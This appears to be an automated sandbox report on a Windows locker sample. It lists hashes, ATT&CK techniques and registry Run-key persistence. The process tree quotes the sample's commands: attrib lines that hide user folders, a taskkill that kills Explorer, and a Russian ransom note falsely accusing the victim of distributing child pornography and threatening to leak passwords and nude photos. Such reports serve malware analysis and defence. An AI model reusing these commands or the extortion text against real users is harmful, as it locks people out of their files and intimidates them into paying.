ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb

Analysis

max time kernel
25s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
15/10/2026, 13:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Size 210KB
Sample261015-qv63rags21
SHA256 ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb
MD5 0bf9c0b1d4a43f5986fa08f087b04cae
SHA1 328b8542e3faeed47a959ab94ac2e4f1d39d2951
SHA512 10a1ed5bd4cbcd9e6181564ff149009e4b685e9310631cc95f51e5065e22f8017401f91e3f69ddd2985bde88ed35983c43e00b2b3322b9b5aca595e5125276c7
SSDEEP 6144:IEhfGkHBdZknRtjULx9aygCSCpMW90KImQijnfbCL:r++dij
TLSH
T18B244D98136AC93DC2BE27BED0A611060BF5B217D503E74CAFF8A0E66D37311A715A47
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

defense_evasion discovery persistence

Malware Config

Signatures

Adds Run key to start application 2 TTPs 10 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2714045687-1127350534-2056456672-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_4 = "System.exe"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714045687-1127350534-2056456672-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_5 = "_default64.exe"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714045687-1127350534-2056456672-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_6 = "native.exe"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714045687-1127350534-2056456672-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_8 = "crypt0rsx.exe"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714045687-1127350534-2056456672-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_1 = "AWindowsService.exe"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714045687-1127350534-2056456672-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_7 = "ux-cryptor.exe"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714045687-1127350534-2056456672-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsInstaller = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe\" -startup"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714045687-1127350534-2056456672-1000\Software\Microsoft\Windows\CurrentVersion\Run\MSEdgeUpdateX = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe\""	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714045687-1127350534-2056456672-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_2 = "taskhost.exe"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714045687-1127350534-2056456672-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_3 = "windowsx-c.exe"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2504	cmd.exe
1688	cmd.exe
5992	cmd.exe
1848	cmd.exe
5232	cmd.exe
3364	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
5304	taskkill.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2616	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
2616	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2616	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Token: SeDebugPrivilege	5304	taskkill.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 2616 wrote to memory of 1848	2616	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe	94
PID 2616 wrote to memory of 5992	2616	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe	95
PID 2616 wrote to memory of 1688	2616	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe	96
PID 2616 wrote to memory of 2504	2616	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe	97
PID 2616 wrote to memory of 3364	2616	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe	98
PID 2616 wrote to memory of 5232	2616	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe	99
PID 2616 wrote to memory of 5304	2616	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe	100
PID 2504 wrote to memory of 2728	2504	cmd.exe	117
PID 3364 wrote to memory of 720	3364	cmd.exe	118
PID 1688 wrote to memory of 4556	1688	cmd.exe	119
PID 5232 wrote to memory of 5876	5232	cmd.exe	120
PID 1848 wrote to memory of 4344	1848	cmd.exe	121
PID 5992 wrote to memory of 3900	5992	cmd.exe	122
PID 2504 wrote to memory of 3548	2504	cmd.exe	123
PID 5232 wrote to memory of 5512	5232	cmd.exe	124
PID 3364 wrote to memory of 4920	3364	cmd.exe	125
PID 1688 wrote to memory of 4532	1688	cmd.exe	126
PID 1848 wrote to memory of 2464	1848	cmd.exe	127
PID 5992 wrote to memory of 5176	5992	cmd.exe	128

Views/modifies file attributes 1 TTPs 12 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4556	attrib.exe
5876	attrib.exe
4532	attrib.exe
2464	attrib.exe
5512	attrib.exe
3900	attrib.exe
4344	attrib.exe
5176	attrib.exe
4920	attrib.exe
3548	attrib.exe
2728	attrib.exe
720	attrib.exe

C:\Users\Admin\AppData\Local\Temp\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
"C:\Users\Admin\AppData\Local\Temp\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe"
1⤵
- Adds Run key to start application
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2616
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] компьютер был заблокирован властями за распространение детского порно,пиши в телеграм для разблокировки иначе твой компьютер расплавится+подарок все пароли и данные сольют включая твои голые фото 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:1848
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:4344
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:2464
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] компьютер был заблокирован властями за распространение детского порно,пиши в телеграм для разблокировки иначе твой компьютер расплавится+подарок все пароли и данные сольют включая твои голые фото 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:5992
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:3900
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:5176
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] компьютер был заблокирован властями за распространение детского порно,пиши в телеграм для разблокировки иначе твой компьютер расплавится+подарок все пароли и данные сольют включая твои голые фото 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:1688
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:4556
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:4532
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] компьютер был заблокирован властями за распространение детского порно,пиши в телеграм для разблокировки иначе твой компьютер расплавится+подарок все пароли и данные сольют включая твои голые фото 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2504
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:2728
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:3548
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] компьютер был заблокирован властями за распространение детского порно,пиши в телеграм для разблокировки иначе твой компьютер расплавится+подарок все пароли и данные сольют включая твои голые фото 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:3364
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:720
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:4920
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] компьютер был заблокирован властями за распространение детского порно,пиши в телеграм для разблокировки иначе твой компьютер расплавится+подарок все пароли и данные сольют включая твои голые фото 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:5232
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:5876
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:5512
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill.exe /im Explorer.exe /f
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5304

C:\Users\Admin\AppData\Local\Temp\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
"C:\Users\Admin\AppData\Local\Temp\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe"
1⤵
PID:3408

C:\Users\Admin\AppData\Local\Temp\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
"C:\Users\Admin\AppData\Local\Temp\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe" -startup
1⤵
PID:6040

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

info-Locker.txt

Path C:\Users\Admin\Documents\info-Locker.txt
Size 207B
SHA256 73f51ce96b504f4bad987c5f29da12649d5bca3fd826f61ecdd5c86918fd1c1c
MD5 a5991d6417c8920ef5ed15ef453e04d8
SHA1 684507ab9ecbec0e0d5a8896addb1141b4074f5d
SHA512 9f2a771d507048091515bc24c91d7c80b068299480fc260494c0c847a051b1387ca0423d103d9c8bb8bcfb9c5844d14d42a399c503fb512333366ac8dd98ba7f
MD5 SHA1 SHA512

Submit Download

info-Locker.txt

Path C:\Users\Admin\info-Locker.txt
Size 207B
SHA256 c0516aaad368081f1149cd0ba14b4ffcff4af4167f830520ffb322c38831efe5
MD5 02ac6892baf866cbb0a2450e64378b8b
SHA1 65acff61f5d74746973429e9f53256b83324872c
SHA512 6a6050002ff7bb3603fdfa6540d51b45a98f5902d0f272c86de96f47a1effb15229d7f40d6b7c98c98144fd54666fc69141808c5ea187435d3554b1449c2f28e
MD5 SHA1 SHA512

Submit Download

memory/2616-5-0x00007FFC48900000-0x00007FFC492A4000-memory.dmp

Download

memory/2616-17-0x00007FFC48900000-0x00007FFC492A4000-memory.dmp

Download

memory/2616-4-0x00007FFC48900000-0x00007FFC492A4000-memory.dmp

Download

memory/2616-0-0x00007FFC48A8F000-0x00007FFC48A90000-memory.dmp

Download

memory/2616-6-0x00007FFC48900000-0x00007FFC492A4000-memory.dmp

Download

memory/2616-7-0x00007FFC48900000-0x00007FFC492A4000-memory.dmp

Download

memory/2616-8-0x00007FFC48900000-0x00007FFC492A4000-memory.dmp

Download

memory/2616-35-0x00007FFC48900000-0x00007FFC492A4000-memory.dmp

Download

memory/2616-34-0x00007FFC48900000-0x00007FFC492A4000-memory.dmp

Download

memory/2616-33-0x00007FFC48900000-0x00007FFC492A4000-memory.dmp

Download

memory/2616-32-0x00007FFC48900000-0x00007FFC492A4000-memory.dmp

Download

memory/2616-3-0x00007FFC48900000-0x00007FFC492A4000-memory.dmp

Download

memory/2616-16-0x00007FFC48900000-0x00007FFC492A4000-memory.dmp

Download

memory/2616-2-0x00007FFC48900000-0x00007FFC492A4000-memory.dmp

Download

memory/2616-1-0x0000000000510000-0x000000000054A000-memory.dmp

Download

memory/2616-30-0x00007FFC48900000-0x00007FFC492A4000-memory.dmp

Download

memory/2616-31-0x00007FFC48900000-0x00007FFC492A4000-memory.dmp

Download

memory/3408-12-0x00007FFC48900000-0x00007FFC492A4000-memory.dmp

Download

memory/3408-11-0x00007FFC48900000-0x00007FFC492A4000-memory.dmp

Download

memory/3408-10-0x00007FFC48900000-0x00007FFC492A4000-memory.dmp

Download

memory/3408-9-0x00007FFC48900000-0x00007FFC492A4000-memory.dmp

Download